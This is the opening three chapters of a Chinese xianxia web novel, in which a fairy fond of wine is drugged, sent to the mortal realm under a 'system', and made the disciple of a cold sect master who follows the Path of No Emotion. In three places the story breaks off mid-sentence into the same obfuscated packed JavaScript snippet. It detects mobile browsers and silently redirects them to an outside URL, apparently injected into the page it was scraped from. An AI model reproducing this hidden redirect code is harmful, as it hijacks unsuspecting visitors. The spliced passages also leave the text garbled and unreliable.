《万人迷,但被按头修无情道》 1. 第一章 几百年来,这还是颜朝阙第一次正儿八经被“请”进湛明宫。 此处是酿酒仙官白堕的府邸。 每日未时,他定会吩咐仙侍,把那用神树甘露酿造的好酒往外送。 可放眼整个仙界,只有四位真君才有资格享用,这些酒便也尽数入了第九重天,普通的神仙么,恐怕一辈子也没机会咂摸几分滋味。 偏生颜朝阙嗜酒如命,为了这些琼浆玉液,她没少偷偷往湛明宫跑。 如今自然是轻车熟路。 年轻的仙君还是一如既往地清冷,坐在神树下的玉石凳上,腰背挺得笔直如松。 颜朝阙迈着轻快步子踏进院落的第一秒,他的眼睛便“唰”地一下望向她。 他神色有几分紧张,好似她是吃人的恶魔。 颜朝阙早就习惯了他如临大敌的模样,她从从容容地在对面坐下,笑意盈盈。 “白仙君今日怎么有兴致邀我品酒?” 白堕没说话,宽大的仙袍袖子挥了挥,台上霎时出现两坛玉醴。 即便隔着十余寸,颜朝阙都能闻到隐隐的清甜香味。 她刚打开,一股醇厚浓烈的气息扑面而来,显然这酒十分不俗。 “九阳真君说你、你驯兽有功,特意嘉奖给你的。”许是从来没这么态度软和地对她说过话,白堕竟有些磕磕巴巴的。 颜朝阙瞧见他粉红的耳尖,觉得他有些可爱,轻笑了一声。 好酒入喉,顿觉辛辣刺激,可唇齿间却香气四溢,让人忍不住再喝上几口。 颜朝阙抬眸,不经意瞧见一片翠叶从神树上掉落,慢悠悠地从白堕头顶坠下。 仙君眼下的黑痣被叶尾扫过,忽然变红了起来,衬得那张出尘禁欲的脸愈发勾人。 她忍不住站起身凑了过去,纤长的指尖挑起他紧绷的下颌。 “白仙君不动怒的样子可真是好看。” 含着酒气的温热呼吸喷在了白堕的脸上,那叶子也从白堕的肩头滑落。 他羞极了,脸上出现了被冒犯的恼意,几乎是咬着牙道:“颜朝阙,你发什么酒疯。” 颜朝阙却觉得他愈来愈像一只龇牙咧嘴的绵羊,攻击力还不及她驯服的那些神兽之十一。 “白仙君要不考虑一下辞了这官,跟我回极域潇洒快活去。” 颜朝阙语调上扬又慵懒,配上那双明亮的眼睛,有股说不出的惑人。 她以为白堕会一本正经地拒绝,谁料他竟红着脸道:“若是你能把这一壶一口气喝尽了,我便考虑考虑。” “这有何难。” 颜朝阙掂了掂手里的酒坛,应道。 颜朝阙向来千杯不醉,可第八口入腹,她忽而头晕目眩起来。 待到第十口时,她跌坐在凳子上,四肢都使不上力气。 酒坛子“咕噜噜”地滚到了一旁,瑶浆洒了满地,转瞬便神树吸收殆尽。 颜朝阙指尖一凉,食指的骨节上,被白堕套上了什么圆形之物。 若是换作平日,她恐会戏谑地问他是不是心悦自己,竟给她送戒指。 可如今她脑袋昏沉,说不出一个字,她体内的仙力更是以一种可怕的速度流逝。 那戒指仿佛套住的不是手指,而是她的仙根——而她四肢发沉,什么也做不了。 颜朝阙倒下前的最后一刹,瞧见了白堕脸上分明而真切的痛恨之意。 她不过是偷了他几坛酒,他竟如此憎恶她,甚至不惜在酒中做手脚…… 小气鬼。 唉,真真是美色误人。 不知过了多久,颜朝阙迷迷糊糊中感觉有人踢了自己一脚。 还是屁股。 她心想这白堕仙君可真是闷.骚,居然踢女仙君的屁股。 待她醒了,定要把他掳去极域好好调教。 这个念头刚起,她的屁股上又挨了一下。 颜朝阙的睫羽剧烈地颤了颤,一双桃花眼猛地睁开,眼前哪里还有白堕的影子。 “诸位可知,今日昆墟派要到我派挑选弟子,足足有十个名额。昆墟派灵气浓郁,即便做个外门洒扫弟子,前途亦不可限量。” 一道尖锐的嗓音从背后响起,刺得人耳膜生疼,恨不得捂住说话之人的嘴。 “你们都是师父我挑选出一等一漂亮的女修,这次要把握好机会,若是被真人选中了,那下半辈子便能一飞冲天。” “届时切莫忘记师父对诸位的教养之恩。” 他的声音像是紧贴着颜朝阙的头皮一般,让她一阵恶寒。 那人向左移了几步,“啪”地一声似是鞭子抽在了谁的腰上。 “仪态要端庄,气质要柔弱,脖颈要优雅,别在这偷懒。”他不满道。 站在颜朝阙右侧的女修小声嘟囔:“这些有什么用,此次招纳弟子的可是无念真人,谁人不知他修的是无情道。” “肤浅!”那人厉喝一声,从众人身后绕出来。 颜朝阙这才看清楚他的模样。 白发垂腰,眼线上挑,兰花指微翘。明明已是迟暮之年的老人,却扮得和年轻女子一般。 他的脸上涂着厚厚的粉黛,面容刻薄,白得吓人,说话间,脑袋还抑制不住地左摇右晃。 “此次随无念真人来的,可还有他的师弟,入尘真人,如今已在大殿之上。” 女修忍不住顶嘴忤逆道:“可弟子听闻他最喜折磨女人,师父岂不是把我们送入虎口……” 见她这副不思进取的模样,那人脸气得通红,手执黑鞭高高扬起。 眼见就要落在那女修的身上,黑鞭却僵在了半空中,无法下落半寸。 颜朝阙右手高举,唇角勾起,目光冷然。 “你这么喜欢,何不自己入昆墟派?折磨他人作甚。”她出言讽刺道。 一想起他踢了自己的屁股,还是两下,颜朝阙便气不打一处来。 她手上愈发用力,手腕翻转,竟然夺过了那鞭子。 鞭子划破空气,猎猎作响,众人还未反应过来,就见它重重打在了那老头的身上。 他本就死死瞪着颜朝阙,此刻疼得龇牙咧嘴起来,五官更加扭曲,丑得让人不忍直视。 一众女修望着颜朝阙,嘴巴张得似能塞下鸡蛋。 “叮咚,系统已加载完成。” 颜朝阙的脑子里突然响起清脆的童音,周遭的一切都像是被按下了暂停键一般。 不知哪里来的浓雾,汇聚起来,最后变成白茫茫的一片,望不到尽头。 她意识到自己恐怕被拉入了另一个空间。 虚空之中霎时出现一个小妖怪。牛头马嘴驴耳朵,蛇身虎爪还有…… 狗尾巴。 饶是颜朝阙见惯了妖精,也没见过这样别致的小玩意。 它身后的狗尾巴摇得飞快,空中的残影几乎成了一朵小花。 可吐出的话却是冷冰冰的。 “宿主您好,我是系统2号,欢迎来到人界。” 颜朝阙皱着眉头往后退了几步。 无他,这“系统”也太丑了。 “你是何方妖孽?”她眯起眼睛,气势骇人地问道。 那系统一本正经地解释起来,“宿主,因您凡心过重,需下界历劫,灭七情、去六欲,飞升后方可回归仙界。” “吾乃两界接引系统,执掌您在人间的命格。” “荒唐,千年来仙人两界从无互通,你莫不是白堕派来害我的。”颜朝阙驳斥道。 自她千年前诞生于仙界,从未听说过神仙历劫或人修飞升之事。 “并非如此,宿主。”见她不信,系统一板一眼地否认,而后动作不甚流畅地挥了挥手臂。 颜朝阙的眼前猝不及防地浮现出几行小字。 “姓名:颜朝阙 身份:妖仙【本体不详】 历劫目的:断情绝爱 初始修为:0.5【原95】…… 初始功德:0【原80】…… 隐藏属性:魅力值100000(已清零)……” 功德与魅力值后还细细地举了她在仙界做的每一件事,以及她收的每一个男仙侍。 这自称系统的小东西,简直把她调查了个底儿掉。 她漫长的一千年,似乎全部化 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635172|172652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为了这串简单的数字。 颜朝阙才不是被吓唬大的,她冷哼一声,“若是我不历这劫呢?” “本系统一旦启动,便不可中途停下,否则历劫之人定会魂飞魄散。” 颜朝阙不信邪,正欲动手,却发现经脉中的仙力已全部消散。丹田如干涸的小渠,只有一丝可怜的灵气。 一道手腕般粗壮的紫色天雷,带着毁天灭地的力量从虚空中落下。 她狼狈地往一旁滚了滚才堪堪躲开。 嗯。 她颜朝阙向来是个识时务的好汉,不过是人界走一遭,能奈她何。 于是她面无表情地问道:“如何历劫?” 见颜朝阙接受了这个事实,系统脸上出现一抹微笑,或许是太过用力的缘故,怎么看怎么古怪。 “宿主,这一世,您是无情道剑修,需杀师证道方能成功飞升。” 无、情、道? 这三个字听起来就和她沾不了一点边。 “由于您是第一次历劫,您可以向我提一个要求。” “天材地宝、功法秘籍,皆可……” “换个皮肤。”颜朝阙言简意赅。 系统:? “你吵到我眼睛了。” 若是日日对着这么个玩意,估计她什么也不用干,光顾着洗眼睛了。 系统那无甚起伏的声音里,莫名透着几分委屈,“本系统的样貌,通常是根据宿主的审美确定的。” 颜朝阙:等她回到仙界,第一个告它诬陷。 她是妖王,但不喜欢丑妖(微笑)。 一眨眼的功夫,系统便变了个模样,成了个浑身散着寒气的小冰人。 “要不你变成个美男子……”颜朝阙试图讨价还价。可她话音未落,就被系统弹出了这方小天地。 不愧是白堕的暗器……简直和他一样小气。 方才被停下的一切,又恢复了正常。 「新手礼包已发放,防身术法-不灭金刚,时效为:3日。」 颜朝阙的眼前浮现一行淡蓝色的小字。 这倒确实是个好东西,她姑且不说它小气了。 被颜朝阙鞭笞的男修,正以极快的速度冲来,应是要抢回她手里的黑鞭,顺带好好教训她一番。 旁边的女修个个花容失色地往一旁逃去,看样子怕极了他。 颜朝阙站如松,脚步纹丝未动。 就在男修距她只有一步之遥时,她的身前浮现出一层淡金色的结界,男修的头猛地磕在结界上,瞬间鼓起了个大包。 “颜朝阙!老夫要把你逐出师门!”他气急败坏地大吼道,暴露了自己粗哑的原声。 他的手里出现了一块普通灵玉,口中念念有词,那玉下一刻应声而碎。 颜朝阙感觉身体中有什么松动了一下,这股力量冲击着她本就脆弱的丹田,让她腹部隐隐作痛。 “老夫宣布,你如今已不是天风派弟子。当初不过是个粗鄙的凡人,若非老夫开恩,你岂能入仙门?赶紧滚回你的老家去。” 颜朝阙脸上的表情未变,眼神却逐渐幽深。若是熟悉她的人便知,她已然动了怒。 他一介凡夫俗子,品性低劣至极,也配让她滚?不若再打上两鞭子…… “笃。” 颜朝阙脑海中蓦地响起木鱼声。 她瞧见系统正盘腿而坐,阖目敲打着身前硕大的法器,清心咒从法器中飘出,塞满了她的耳朵。 她不得不收敛起自己的杀意。 “宿主未到飞升时,不可伤仙门人性命。”它说话间,虚空中有几道紫雷闪过。 ……这哪里是系统。 这简直是在她的身体里种了个菩萨。 颜朝阙冷冷地瞥了那老头一眼,扔下鞭子转身向院子外走去。 “限你一炷香的功夫离开天风派。”老头尖着嗓子在她背后喊道。 颜朝阙充耳不闻,她初来乍到,压根不认路,于是漫无目的地闲逛着。 一股悠悠香气忽而从远处飘来,焦香夹杂着淡淡的烟味。 肉已经五分熟了,颜朝阙凭经验断定。 2. 第二章 说起来,颜朝阙在仙界简直格格不入。 仙君们崇尚无欲静心,素来只饮草木甘露、天地精华,对荤腥油腻之物可谓避之不及。 而颜朝阙却从不舍得委屈自己,上至仙鸟,下至灵兽,只要她瞧上的,统统进了她的肚子。因此对于吃之一道,她乃仙界最精。 但依颜朝阙来看,这烤肉的天风派弟子,手艺恐不在她之下。 这里应是半山腰,从院落里走出来,入目是苍茫的竹林,林子里隐约有条往上的狭窄山径。 一阵风吹过,竹叶交织摩挲,沙沙作响。 也把那香气吹得愈发诱人。 颜朝阙循着味道,快步走入竹林。 半晌,她终于找到了香气的来源。 一只兔子被串在树枝上,火堆在它身下燃得热烈,皮毛和内脏被人处理得干干净净,下侧外皮微焦,想来一定香脆可口。 只是若任凭这兔子被烤,这一面很快就会全焦了。 颜朝阙四处张望了一番,却不见任何人影。她伸出手,娴熟地给兔子翻了个面。 “切莫贪恋人间好,早寻正道做神仙;快活过眼成云烟……”远处忽然传来一阵清越的歌声。 音色华丽优美,似鲛妖之声般动听。 颜朝阙听不清歌词,却将那恣意的语调听得真切。 叮咚叮咚。 还有什么碰撞着,与歌声相和。 她侧目望去,视线尽头忽然出现一个提着酒的红衣青年,翠绿的竹林一刹那黯然失色,天地之间,仿佛只剩下这一抹游动的红。 颜朝阙忽而明白了,何谓灼灼其华。 简直比仙君们还要好看,她想她现在的眼睛,一定亮得可怕。 那“美人”抬眸,显然也看到了颜朝阙。见她直勾勾地盯着自己看,他不解地眨了眨眼。 整个天风派还从没有如此胆大之人。 一个瞬移,他就悄无声息地出现在她的身侧。 “小友动了我的兔子?”红衣男子席地而坐,皱眉问道。 他眉眼间有些许不愉。 想来他就是兔子的主人。 可不管是为了兔子还是美人,颜朝阙绝不会此时就轻易离开。 她自来熟地坐在了红衣男子的对面,“你这兔子再不翻面,你吃到的定是一嘴碳灰。” 颜朝阙解释着,比起对待老头,语气温和了不知几倍。 那红衣男子愣了愣,不确定地问道:“小友有经验?” 若是他没记错,整个天风派仅有一只灵兔。 正是这只。 “灵兔嘛,我吃得多了。”颜朝阙摆手。 在红衣男子的注视下,她拿起了一坛酒,而后拎起正滋滋冒油的兔肉,将半坛酒酣畅地淋在了上面。 “你这烤法极佳,却只适合鸡鸭,不适合兔肉。”颜朝阙煞有其事道。 她把兔子重新架上火堆,动作行云流水,飘洒帅气。 “兔肉腥膻,这酒能除腥,让它的肉质更加香嫩。” 眼见火候差不多了,她撕下热腾腾的兔腿,递给了红衣男子。 那人微笑着接了过来。 “小友可知这兔子是哪里来的?”他问道。 “不是你的么?”颜朝阙疑惑。 “是天风派掌门真人养了五年的爱宠。” 红衣男子期待看见她惊慌失措的表情。 可颜朝阙没有。 她脸上甚至没有掀起一丝波澜。 若是他知道,她曾经吃了不少仙君的坐骑和灵宠,便不会生出这样虚妄的期待了。 “那岂不是更要快点解决?” “若是被真人发现就不好了。” “道友一人也吃不完,何不让我来替你分担?” 颜朝阙语气自然,字里行间像全是在为他分忧。 红衣男子笑了起来。 他还从未见过如此有趣的人,比仙门那些老古董和木讷弟子有意思多了。 “你是天风派的外门弟子?”他忍不住探问道。 颜朝阙嘴里正嚼着香喷喷的兔肉,因此她的声音有些含糊:“以前是,现在不是了。” “你可知我是谁?”红衣男子挺直了腰板。 颜朝阙上下扫了他两眼,眼神在他漂亮又不失野性的五官上停留了好一会,“你看起来……像是天风派的年轻弟子。” 那男子嘴角勾着浅笑。 “我活了七百年了。”他似乎是想暗示点什么。 岂料颜朝阙不以为意。 “我还活了一千年了呢。”她嘟囔道。 见她似是真的一无所知,红衣男子叹了口气,也不再说话。 开始与她对嚼兔腿,争夺兔肉,还被她讨要走了不少好酒。 两人正吃得欢畅,头顶突然有什么快速掠过。起初颜朝阙并不在意,只当是普通的飞禽。 直到…… 她切切实实听到了一声狗叫。 她抬起头,透过竹叶间隙,见到一团蓬松的白色棉花。四个短短的爪子刨着空气,在这片林子上空打转。 狗头低了低,与颜朝阙四目相对。 一人一狗都呆滞了片刻。 那会飞的狗忽然激动地狂吠起来,它朝着她的方向,猛地一头扎下。 颜朝阙并未惊慌地跑开,横竖她有系统的金刚罩。 可不知为何,这金刚罩突然失效,小狗像是流星般重重砸进了她的怀里,它还在不停地叫着,一副凶巴巴的模样。 颜朝阙不知道它要做什么,她可不想虎落平阳被犬欺。 她揉了揉它的狗头,试探性地把手里还剩一点的兔肉放到它的鼻子前。 “吃不吃?” 那狗“嗷呜”一声,完美地避开兔肉……咬上了颜朝阙的手。 嘶,这小东西真是敬酒不吃吃罚酒。若是放在仙界,什么妖兽敢如此对她?! 鲜红的血珠渗了出来,而后诡异地漂浮到空中,最后尽数没入了狗身。 那狗从颜朝阙的怀里跳出来,忽而变得十倍之大。 它叼起她后颈的衣领就朝远处“飞”去,速度快得让人根本来不及反应。 「恭喜宿主解锁重要节点:拜师。」 系统一板一眼的声音出现在脑海中。 此刻颜朝阙正以一种诡异的姿态被吊在半空中。 “你大爷!” 三个铿锵有力的大字,回荡在竹林里,经久不散。 她未曾看到那红衣男子的目光变得幽深了许多,下一瞬也消失在了原地。 会飞的狗叼着颜朝阙越过了丛林,跨过了河流,一路向山顶而去。 风像刀子般无情地刮在她的脸上,把她的头发吹得乱七八糟。 ……有没有人为她发声。 过了半晌,颜朝阙终于在天风派大殿前落地。那狗变成了一只玉制的镯子,牢牢地套在了她的手上,纵使她把手腕磨红了也褪不下来。 眼前的宫殿似是有了些年头,古朴巍峨,云遮雾绕。 走近些,能看到大门上画着神秘的图腾和符咒。两侧还站着百余侍从,垂头肃立。 许是感应到了颜朝阙,两扇大门自己轰然打开,她缓步走了进去,发现这里几乎站满了人。 只是人群自动为她让开了一条道。 “这就是神器所择之主?”一道威严浑厚的声音响起。 颜朝阙抬头,发现是坐在左侧的一个老者在说话。 她的眼睛只是往右移了几寸,当她望见那坐在大殿正中央的人后,连呼吸都轻浅起来。 目光更是再也挪不开。 那人身着月白色长袍,银丝镶边,泛着清冷的光辉。他端坐高台之上,禁欲矜贵,比明月显得更不可攀。 一把宽阔剔透的剑乖巧地垂立在他的脚边,但仍旧能感受到隐隐的骇人剑气。 再往上,便能瞧见那如琢如磨的五官,鼻梁高耸,一双薄唇精致到了极点。 他淡漠的脸上无甚表情,眼眸微垂,似神祇般俯视众人。 秋水为神玉为骨。* 毫不夸张地说,他几乎是颜朝阙见过的,皮囊最为出众之人。 她不曾见过仙界的四位真君,但她想眼前的这位,恐怕比起真君也不遑多让。 “颜朝阙,你在搞什么幺蛾子?!” 她的视线突然被一张带着怒气的惨白老脸挡住,对比太过强烈,差点没把颜朝阙吓一跳。 正是在山脚下把她驱逐出天风派的老头。 她还没来得及说话,老头就侧过身,弯着腰对高处的三位笑得谄媚。他这一笑,颜朝阙才知道他的脸上居然能有。 一层、两层……二三十层褶子。 “启禀掌门、无念真人、入尘真人。此乃我一月前收下的劣徒,因太过愚昧粗鄙,已被我逐出师门。” 他转头剜了她一眼。 “她资质平庸,绝非神器之主,也不知怎么闯了进来,惊扰了诸位,我这就把她赶出去。” 他作势就要推搡她。 “等等。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635173|172652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 头顶之上,响起淡然的嗓音,像是有人不小心触碰金铎,无意间泄露了轻盈的音符。又如山涧般泠泠清脆。 只消短短两个字,就足以让老头停下全部动作,而后恭敬地站在原地。 颜朝阙看见那绝世“美人”,一步步走下璇墀朝她而来。 原来男子亦可步步生莲。 只见他用修长的手抵着唇,口中念念有词。颜朝阙感觉手臂上的镯子正在发烫。 她的手不受控制地抬起来,袖口垂落,露出一截皓腕,以及那紧贴着肌肤的玉镯。 “确是昆墟派神物,她正是昆墟派所寻之人。” 他的声音平静无波,却无疑是一石激起千层浪。 其他天风派弟子窃窃私语,庄严的大殿上突然喧闹起来。 “不过是个外门弟子,凭什么呀。” “这神器是不是搞错了,还是她使了什么手段……” 这么多精心培养的内门弟子没有入选。偏偏一个名不见经传,还是已经被驱逐出去的外门弟子成了神器之主。 天风派掌门真人的脸色也不甚好看。 但为了维持脸面,他重重地敲了敲手里的法杖,“安静——” 许是颜朝阙盯着玉镯的神色有些许迷茫,那向来惜字如金的高冷真人,也就是秦之游,难得解释起来。 “昆墟派百年前幸得四件神器,神器自行择主。其主则拜入昆墟。” 面对未来的徒弟,他面容疏离,语气却还算柔和。 “今日神器尨玉异动,本座推算新弟子应在天风派,想来就是你了。” “你可愿拜入我门下?” 颜朝阙终于明白,系统嘴里说的「拜师」是什么意思。 若是她没记错,这无念真人修的正是无情道。 她若真拜入他的门下……这意味着,她有一天需要亲手杀了他。 面对这样一张完美无瑕的俊脸。 颜朝阙想想就痛心疾首。 秦之游不知道她在想些什么,望向他的目光竟然复杂得连他也读不懂。 “我不拜师。”半晌,颜朝阙朗声道。 周围霎时抽气声一片。 这还是秦之游第一次遇到这种情况。昆墟派乃仙门第一大派,内门弟子个个卓绝不凡,可谓是一派便撑起了仙门的半边天。 从来都只有他们拒绝别人的份。 “为何?”秦之游问道,声音中不辨喜怒。 自然是因为她爱惜他的脸。 可她总不能就这样当众说出来吧,否则美人定会以为自己是什么登徒浪子。 虽然……她行事一贯不羁。 颜朝阙一把指着旁边的老头,“他说我天资愚钝,不是修仙的料。在他的打骂下,我早已心灰意冷。我想明白了,还是谨遵前师尊之命,回去种田好了。” 秦之游的视线落在了老头的身上,轻飘飘的,却仿若一座大山般满是威压。 “哦?” 他语调扬起,却让那人瞬间汗流浃背。 所有人的视线都集中到了老头的身上。 “沧波,到底是怎么回事?”就连天风派掌门都忍不住询问道。 老头的脸被吓得更白了,他“扑通”一声跪了下来,摇着头颤颤巍巍道。 “都是在下有眼无珠,竟没认出这是昆墟派后日高徒。那些话都是戏谑之言,当不得真。颜修士聪慧机敏,天赋卓绝,日后定能修为大成。” 他胡诌一通,只差把求放过三个字刻在脑门上了。 掌门何尝不知他为人,平日最爱钻营,只是念在他年事已高,才睁一只眼闭一只眼至今。 可若今日得罪了昆墟派,他们都没好果子吃。 “沧波,你错失大才,修为十年不进,即日起便把所有弟子交给望远教导,自去领罚吧。”掌门道。 丧失收徒之权,那他便沦为一个普通外门弟子,日后自然无法作威作福。 那些站在角落里,曾经被他磋磨过的女修,个个喜极而泣。 “这下可行了?”秦之游问颜朝阙。 麻烦了。 他好像是铁了心的要收自己为徒。 正犯愁之际,背后响起一道慵懒的嗓音,“既然她说了不愿意,无念真人又何必强人所难。” 颜朝阙回头,猝然撞入一双狭长而含着笑意的眼眸。 那人一身红衣,衣袂飘飞,逆光而来。 身前的竹扇轻摇慢晃。 正是片刻前,和她共赏兔肉的美男子。 3. 第三章 红衣男子出现,大殿上三秒鸦雀无声。 始终稳坐高台的天风派掌门,不可置信地揉了揉自己的眼睛,而后突然“噌”地起身。 他搓着掌心,激动地快步走来,而后热泪盈眶,又饱含真情地叫唤了一声。 “师尊!” 随着他的声音落下,两侧站着的天风派弟子“哗啦”一声尽数跪下,呜呜泱泱的好不壮观。 掌门的师尊……岂不就是天风派的师祖?! 颜朝阙有些惊讶地挑了挑眉。 当初那句“活了七百年”,她只当是他的玩笑话。 红衣男子在她身侧站定,他的唇角勾着一抹肆意潇洒的笑。 “丫头,本尊在这,没人能逼迫你。”他的语气是说不出的张狂。 他自以为帅气,可一声“丫头”,却让颜朝阙起了满身的鸡皮疙瘩。 算起来,她可比他还要大了整整三百岁呢。 “叫我颜朝阙就好。”她凑过去,悄咪咪道。 红衣男子看出她的不自在,从善如流地叫了一声。 “颜朝阙,本尊叫雪千里。”他也报上自己的名讳。 雪千里与颜朝阙挨得极近,他比她高出了一头,为了和她说话,不自觉侧着头,微微俯身。 朱红衣角与槿紫色裙摆触碰在一起,在旁人眼中,两人俨然亲密极了。 秦之游自然不爽。 今日收徒之事本该顺利进行,结果这颜朝阙不按常理出牌也就罢了,半路又杀出个雪千里。 他听说这位天风派的师祖已经闭关数十载,也不知今日为何突然现身。 “由神器挑选弟子,乃是我昆墟派数百年来的传统。雪前辈是要阻挠我派收徒么?” 秦之游眸色泛冷,如今看起来更如遥遥雪山。 两派弟子或跪或立,吓得头也不敢抬。 秦之游和雪千里,哪个不是仙门传奇般的人物,竟有朝一日,为一个名不见经传的小女修对峙起来。 雪千里慢条斯理地收起了手中的折扇,他的笑容敛了几分,话语间满是讥讽之意。 “你们昆墟派的神器择主,可曾问过被选择之人的意愿?泱泱大宗,行事却如此霸道,这就是现在的仙门风气么?” 他转头对颜朝阙道。 “小阙,若你愿拜入本尊门下,本尊定想法子帮你解了这神器契约,保你一世自由无拘。” 站在漩涡中心的掌门脸色有几分古怪。 师尊到现在都没正眼瞧他一下,而这丫头不过练气初期,一眨眼的功夫,居然就快和他平辈了。 颜朝阙倒是心头一暖,没想到这雪千里人还怪好哩。 她吃了他的兔子,他还处处替她着想。 单从容貌上看,他稍逊冰美人一筹。 但胜在心善呀。 在颜朝阙眼中,雪千里本就赏心悦目的脸,如今更显得气度非凡。 雪千里如此对她,她就更不能拉他入火坑了。可昆墟派的绝世美人,她又怎么忍心痛下杀手。 正纠结时,一道流里流气的声音打破了沉默,“为了这么个女修,师兄和真人何必伤了和气。” 颜朝阙抬眸望去,是原先坐在大殿最右侧的男修,他摇摇晃晃地走下台阶,站在她的身前。 明明个头不高,却满身肥肉,看起来宛若一只圆滚滚的肉球。 他正色眯眯地盯着她的脸。 想来这就是女修们口中,喜爱折磨女人的入尘真人了。 “神器不可流落在外,要不这女修先和老夫回昆墟派。等想法子解了这契,再送回天风山。” 他笑得猥琐,目露精光,颜朝阙用脚趾头都知道他在想什么。 同出昆墟派,这俩师兄弟简直是云泥之别,也不知他仗着自己的身份,祸害了多少姑娘。 颜朝阙抑制不住心中的嫌恶,正想一口回绝,脑海中却突然闪现出一个绝妙的主意。 “这位真人看起来厉害极了,我想拜他为师!”她装模作样地指着入尘道。 这还是头一次有人在师兄在场的情况下,夸他厉害。入尘立即喜笑颜开,脸上的肉抖了抖,十分滑稽。 “好好好。”他连声应下。 雪千里不屑地瞥了入尘一眼。 区区元婴期。 还肥头大耳,丑陋至极。 “小阙,你可真该看看眼睛了。”他抱着胸,毒舌道。 “我资质平平,有入尘真人教就足够了。”颜朝阙不以为意道。 “不可。”秦之游吐出这两个字,淡漠的脸上头一次出现了明显的表情。 剑眉轻皱,他很是不悦。 “你既想选入尘为师,便是选择了昆墟派。” “他教不了你。” 他凝视着颜朝阙的眼眸,字字句句皆含千钧之力般,不容置喙。 “你的师父,只能是我。” 入尘似是有些害怕他这个师弟,听秦之游这样说,他霎时偃旗息鼓,再看向颜朝阙时,眼神里全然是未得到的惋惜。 颜朝阙头一次见到这样霸道的人。她回望秦之游,昂着头,露出浑身的锋芒。 “若是我今后会杀……伤了真人您呢?” “你伤不了我。”秦之游的语调无甚波澜。 可其中的自信狂妄,不比雪千里逊色分毫。 既然他执意如此,颜朝阙也没什么好说的。今后真走到那一步,也怪不了她。 凡人修仙,听起来是很漫长的过程。 能日日对着这张惊艳绝伦的脸。 她可是赚大了。 颜朝阙忽而笑了,她轻快道:“好,那我便拜入真人门下。” 雪千里几不可闻地叹息一声。 “小阙有了选择,本尊也不强求。日后可常来天风派玩耍。” 他递上一块独属于自己的灵木令牌,“你若寻我,可将灵气注入木牌,我若在你附近,木牌亦有感应。” “我的徒弟,就不劳雪前辈挂心了。”秦之游上前一步,挡在两人之间。 颜朝阙却丝毫不给他面子,快速接过了令牌。 从天上到地下,雪千里是她遇见过最合她脾气的人。 这个朋友,她交定了。 秦之游不语,只是下一瞬,隔空拉拽着入尘,带着颜朝阙消失在了原地。 “师兄,我还想收十个外门弟子呢!哎哟这怎么就走了……” 入尘最后瞧了一眼那些漂亮的女修,嘟嘟囔囔的声音飘散在了空气中。 却说此刻的九重天。 白堕亲自捧着鸳鸯转香炉,将它举至额前,睫羽垂落,恭敬地一步步朝前走去,直至脚尖顶住神殿前的玉阶才停下来。 “小仙白堕,敬拜真君。”他跪下道。 那盛着稀世好酒的转香炉,刹那消失在了他的指尖。 “妖仙可是已下界?”真君的声音蕴含半分神力,响彻九重天。 白堕恭恭敬敬地弯下腰,额头触在冰凉的玉石上,“正是,小仙皆已办妥。” “你做得不错。她举止放荡,有损仙风,早该被贬下界。” 不是下界历练么,怎么成了被贬? 白堕不敢起身,他的嘴唇嗫嚅了几下,最终还是问道:“……真君,不知她还能否回归?” 那被云雾遮住真容的仙界之主语气微沉。 “怎么,你想让她回来?” 白堕心生惧意,忙道不敢。 他的心里忽起几分困惑,奇怪的感觉萦绕心头。 颜朝阙不过是个闲来无事的小仙,大部分时间都在她的极域之中,偶尔替天庭收服些作乱的妖兽。 若真君早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635174|172652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有贬黜之意,为何不之前就抽了她的仙骨。 反倒让他用那羞耻的美男计,甚至将清心戒都送了出去。 岂不迂回? 这些举动,莫名让人感觉真君对她似有几分……忌惮? “极域无主,你若能想法子进去,那它就是你囊中之物。” “你可明白我的意思?”真君问道。 白堕从杂乱的念头里回过神来,崇敬地应了声“是”。 许是他思虑过多的缘故,回湛明宫的路上,他的眼前闪过不少次那抹洒脱的身影。 那双总是藏着坏笑的桃花眼和银铃般畅快的笑声,仿佛仍旧触手可及。 望着浩瀚无边却千年不变的云海,他的视线里只剩下单调的白。 仙界失去了最后一抹色彩。 白堕无厘头地想道。 他察觉到他居然可耻地产生了几分怅然若失。 白堕被自己吓了一跳,他赶紧晃了晃脑袋。 像颜朝阙这样的人,指不定在人间有多潇洒快活呢。 颜朝阙的确快活。 秦之游带她回了昆墟派,把她扔下就不见了踪影。 她绕着山头走了三圈,找到了个传送阵,她便一脚踏进了美人窝。 颜朝阙的左手和右手都被人亲热地拉住,身前身后被围了个水泄不通。 “身高是五尺多十寸,腰嘛……”一个女子丈量着她的身形,一双柔软的手臂遽然搂上颜朝阙的腰,“有了,是二十一寸。” 另一个女子手执凤毫,仔细记录着,墨迹赫然纸上。 